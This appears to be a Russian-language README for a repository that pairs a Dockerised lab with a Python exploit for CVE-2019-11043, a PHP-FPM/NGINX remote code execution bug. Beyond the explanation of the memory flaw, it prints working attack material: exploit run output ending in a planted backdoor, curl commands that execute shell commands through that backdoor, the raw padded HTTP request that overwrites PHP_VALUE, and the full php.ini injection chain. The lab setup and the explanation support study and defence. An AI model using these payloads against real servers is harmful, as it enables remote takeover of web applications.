
Этот репозиторий предоставляет инфраструктуру на Docker и реализацию эксплойта CVE-2019-11043 на Python.
Реализация эксплойта CVE-2019-11043 на Python
Эксплойт, зарегистрированный как CVE-2019-11043, использует ошибку в реализации PHP-FPM в сочетании с сервером NGINX. В определенных конфигурациях регулярное выражение в fastcgi_path_info приводит к тому, что модуль FPM записывает данные за пределы выделенных буферов в пространство, зарезервированное для данных протокола FastCGI. В результате веб-пользователь может удаленно выполнить код. В следующей таблице показана оценка серьезности эксплойта в соответствии с Common Vulnerability Scoring System (CVSS).
| Метрика | Значение |
|---|---|
| Оценка воздействия | 5.9 |
| Базовая оценка | 9.8 |
| Серьезность | Критическая |
| Вектор доступа | Сеть |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |
Docker образы:
Python:
Для запуска проекта требуется установка Docker и docker-compose.
Выполнив следующую команду из корневого каталога проекта, все необходимые Docker образы будут загружены, а контейнеры запущены в правильном порядке:
docker-compose up
Чтобы запустить установку в демонизированном режиме, выполните следующую команду:
docker-compose up -d
Чтобы остановить демонизированный запуск, выполните следующую команду:
docker-compose down
Пример
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Эта уязвимость была обнаружена во время отборочного раунда Real World CTF 2019, когда исследователь безопасности Эндрю Данау обнаружил, что отправка управляющего символа новой строки %0A приводит к исключению в коде сервера.
Регулярное выражение в директиве fastcgi_split_path_info можно сломать с помощью символа новой строки (в закодированной форме %0A). Сломанное регулярное выражение приводит к пустому PATH_INFO, что и запускает ошибку.
Поскольку env_path_info является адресом переменной path_info, path_info равен 0, то и pilen также равен 0. slen — это длина запрошенного URL.

Используя тщательно подобранную длину пути URL и строки запроса, злоумышленник может заставить path_info указывать точно на первый байт структуры _fcgi_data_seg. Установка нуля в эту область перемещает поле char* pos назад, а последующий вызов FCGI_PUTENV перезаписывает некоторые данные (включая другие переменные FastCGI) путем скрипта. Используя этот метод, уязвимость позволяет создать фиктивную FCGI-переменную PHP_VALUE, а затем с помощью цепочки тщательно подобранных значений конфигурации получить выполнение кода.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len — длина пути URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen — длина содержимого до первого слеша в пути URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt — /var/www/html/index.phpРазница между двумя переменными "len" и "ptlen" — это длина пути, указанного в URL. Поскольку путь можно контролировать, переменная path_info также становится контролируемой.
Поскольку путь контролируется, мы можем установить значение любого адреса в ноль (строка 1222). Установив значение целевого адреса в ноль, мы можем установить char* pos структуры _fcgi_data_seg в ноль. Таким образом мы эксплуатируем недостаток буфера (buffer underflow) и можем записывать глобальные переменные в правильное пространство памяти.
Хэш и длина сравниваются до ключей. Тщательно выбирая правильные заголовки и ключи, мы можем добавлять данные с помощью заголовков. Согласно находкам neex, строка "ebut", которая становится HTTP_EBUT, имеет ту же длину и значение FCGI_HASH, что и PHP_VALUE. Таким образом, отправляя GET-запрос к серверу вида
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
заголовок HTTP_EBUT становится PHP_VALUE, а значение — session_start=1.
Ниже приведен список необходимых предварительных условий, которые должны быть выполнены для атаки.
^ и заканчиваться $, чтобы env_path_info становился пустым при разборе URI с символом новой строки.try_files $uri = 404, поскольку это предотвращает передачу запросов FastCGI, и они никогда не достигнут PHP-FPM.На первом шаге нам нужно найти длину строки запроса, при которой управляющий символ новой строки %0A вызывает исключение в коде сервера, и сервер отвечает с кодом ошибки HTTP > 500. Основываясь на этой информации, мы можем попытаться записать PHP_VALUE и контролировать его содержимое. Сначала мы пытаемся установить сессию. Если это удается, мы узнаем об уязвимости сервера. В этот момент мы знаем, что можем управлять любыми глобальными переменными в PHP.
Используя установленную сессию на сервере, мы перезаписываем и настраиваем необходимые предварительные условия в настройках сервера для удаленного выполнения кода. Авторы эксплойта настраивают массив специальных PHP-настроек. Они включают автоматическое включение, устанавливают путь в /tmp, устанавливают адрес файла журнала в /tmp/a и также записывают полезную нагрузку в файл журнала. Наконец, PHP-файл будет автоматически включать файл журнала, создавая бэкдор.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
Цепочка опций php.ini, которая делает возможным удаленное выполнение кода:
php_settings = [
"short_open_tag=1;;;;;;;", # Открыть короткий тег PHP
"html_errors=0;;;;;;;;;;", # Отключить HTML-теги в сообщениях об ошибках
"include_path=/tmp;;;;;;", # Путь включения
"auto_prepend_file=a;;;;", # Указывает файлы, которые автоматически включаются перед выполнением скрипта, аналогично require().
"log_errors=1;;;;;;;;;;;", # Включить журналирование ошибок
"error_reporting=2;;;;;;", # Уровень отчетности об ошибках
"error_log=/tmp/a;;;;;;;", # Файл журнала ошибок
"extension_dir=%22%3C%3F=%60%22;;;", # Каталог загрузки расширений
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Загружаемое расширение
]
Примечание: Точки с запятой используются для заполнения пространства памяти, так что PHP_VALUE\nauto_prepend_file=a;;;; становится 34 байтами — фиксированной длиной PATH_INFO. Таким образом мы гарантируем, что все настройки будут корректно записаны в память.
PHP обеспечивает работу многих популярных веб-сайтов и веб-приложений. Поскольку использование веб-серверов на базе NGINX в сочетании с PHP 7 повсеместно, эта уязвимость была классифицирована как критическая. Кроме того, она относительно проста в реализации и обеспечивает постоянство после использования. Поскольку успешная эксплуатация CVE-2019-11043 может привести к RCE, она может позволить хакерам и злоумышленникам захватить веб-приложение.
К эксплуатации следует относиться серьезно, несмотря на то что эта уязвимость ограничена определенными конфигурациями NGINX; стандартный Nginx не имеет этой проблемы.
https://paper.seebug.org/1064/
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc
https://github.com/neex/phuip-fpizdam
https://github.com/theMiddleBlue/CVE-2019-11043